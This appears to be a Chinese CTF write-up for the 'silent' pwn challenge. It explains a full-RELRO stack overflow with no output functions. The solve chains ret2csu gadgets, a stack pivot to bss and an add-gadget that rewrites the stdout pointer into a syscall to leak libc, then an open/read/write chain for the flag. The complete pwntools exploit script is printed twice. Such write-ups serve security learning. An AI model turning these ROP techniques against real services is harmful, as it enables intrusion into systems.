silent
打开ida一看,没有输出函数,只有一个栈溢出。跟巅峰极客的linkmap有点像,都是没有输出函数而且full relro,没法打ret2dl_resolve
但是linkmap那道题中是有能函数能将地址放到bss上的,所以它可以把read的地址放到bss上,然后通过修改bss上的read地址,加上栈迁移来执行别的内容。
而这道题是真的只有一个栈溢出,比赛做了两三个小时没出。
听了unauth401师傅的讲解以及参考了他的博客才搞懂
我们知道除了got表有libc地址,bss最开始的几个std指针里也是libc的地址
所以跟linkmap一样,如果我们可以修改这几个指针的内容,那就可以达到同样的效果。(这里选stdout)
1 from pwn import * 2 from LibcSearcher import* 3 context(os='linux', arch='amd64', log_level='debug') 4 p = process('./pwn') 5 elf = ELF('./pwn') 6 libc = ELF('./libc.so.6') 7 8 read_addr=0x4008dc 9 call_read=0x4008f2 10 pop_rsi_r15_ret=0x400961 11 bss_addr=0x601040 12 pop_rdi_ret=0x400963 13 leave_ret=0x4008fc 14 stdout=0x601020 15 csu1=0x40095A 16 csu2=0x400940 17 read_got=0x600fe0 18 rsp_r13_r15=0x000000000040095d 19 20 payload1=b'a'*0x48+p64(csu1)+p64(0)+p64(1)+p64(read_got)+p64(0)+p64(bss_addr+0x800)+p64(0x400) 21 payload1+=p64(csu2)+p64(0)*7+p64(rsp_r13_r15)+p64(bss_addr+0x800-0x10) 22 #gdb.attach(p) 23 p.send(payload1)
这里的payload1是主要调用read来准备给bss上布置payload2,因为我们待会儿还是要栈迁移到bss上的。
1 # 0x4007e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret 2 magic2=0x4007e8 3 pause() 4 5 6 payload2=flat([ 7 pop_rdi_ret+1, 8 csu1,0,1,bss_addr+0x800,0,0,0, 9 csu2,0,-(0x7f349b21a780-0x7f349b1149d0),0x601020+0x3d,0,0,0,0, 10 magic2, 11 csu1,0,1,read_got,0,0x602000,8, 12 csu2,0,0,1,0x601020,1,read_got,8, 13 csu2,0,0,1,read_got,0,bss_addr+0x600,0x400, 14 csu2,0,0,0,0,0,0,0, 15 rsp_r13_r15,bss_addr+0x600-0x18, 16 ])+b"./flag" 17 18 19 p.send(payload2) 20 pause() 21 p.send('a') 22 libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['read'] 23 success('libc_base=',hex(libc_base)) 24 25 rsi=libc_base+0x000000000002be51 26 rdx=libc_base+0x0000000000796a2 27 payload3=flat([ 28 pop_rdi_ret,0x6019d0, 29 rsi,0, 30 rdx,0, 31 libc_base+libc.sym['open'], 32 pop_rdi_ret,3, 33 rsi,0x602000, 34 rdx,0x100, 35 libc_base+libc.sym['read'], 36 pop_rdi_ret,1, 37 libc_base+libc.sym['write'] 38 ]) 39 pause() 40 p.send(payload3) 41 p.interactive()
payload2是最重要的payload
因为我们并不知道任何libc地址,没法通过调用read来直接修改stdout内容,但是偏移我们是知道的,所以可以通过数值上的加减来实现。
数值上的加减最容易的就是通过寄存器来实现
通过ropgadgets,我们发现第一行写的那段gadget:# 0x4007e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
可以将{rbp-0x3d]与ebx相加,所以我们在rbp-0x3d处写上stdout(0x601020),那就能修改stdout的内容为我们想要的。
这里我们选择改成syscall,下面是偏移
改完之后在第十一行通过read来修改rax为1,调用write来泄露libc。
剩下就是常规orw了。这道题对动调csu感觉要求好高,调半天才搞懂。
exp:
from pwn import * from LibcSearcher import* context(os='linux', arch='amd64', log_level='debug') p = process('./pwn') elf = ELF('./pwn') libc = ELF('./libc.so.6') read_addr=0x4008dc call_read=0x4008f2 pop_rsi_r15_ret=0x400961 bss_addr=0x601040 pop_rdi_ret=0x400963 leave_ret=0x4008fc stdout=0x601020 csu1=0x40095A csu2=0x400940 read_got=0x600fe0 rsp_r13_r15=0x000000000040095d payload1=b'a'*0x48+p64(csu1)+p64(0)+p64(1)+p64(read_got)+p64(0)+p64(bss_addr+0x800)+p64(0x400) payload1+=p64(csu2)+p64(0)*7+p64(rsp_r13_r15)+p64(bss_addr+0x800-0x10) gdb.attach(p) p.send(payload1) # 0x4007e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret magic2=0x4007e8 pause() payload2=flat([ pop_rdi_ret+1, csu1,0,1,bss_addr+0x800,0,0,0, csu2,0,-(0x7f349b21a780-0x7f349b1149d0),0x601020+0x3d,0,0,0,0, magic2, csu1,0,1,read_got,0,0x602000,8, csu2,0,0,1,0x601020,1,read_got,8, csu2,0,0,1,read_got,0,bss_addr+0x600,0x400, csu2,0,0,0,0,0,0,0, rsp_r13_r15,bss_addr+0x600-0x18, ])+b"./flag" p.send(payload2) pause() p.send('a') libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['read'] success('libc_base=',hex(libc_base)) rsi=libc_base+0x000000000002be51 rdx=libc_base+0x0000000000796a2 payload3=flat([ pop_rdi_ret,0x6019d0, rsi,0, rdx,0, libc_base+libc.sym['open'], pop_rdi_ret,3, rsi,0x602000, rdx,0x100, libc_base+libc.sym['read'], pop_rdi_ret,1, libc_base+libc.sym['write'] ]) pause() p.send(payload3) p.interactive()
标签:鹏城,p64,libc,初赛,bss,read,base,ret,pwn From: https://www.cnblogs.com/M4rg4tr01d/p/17810882.html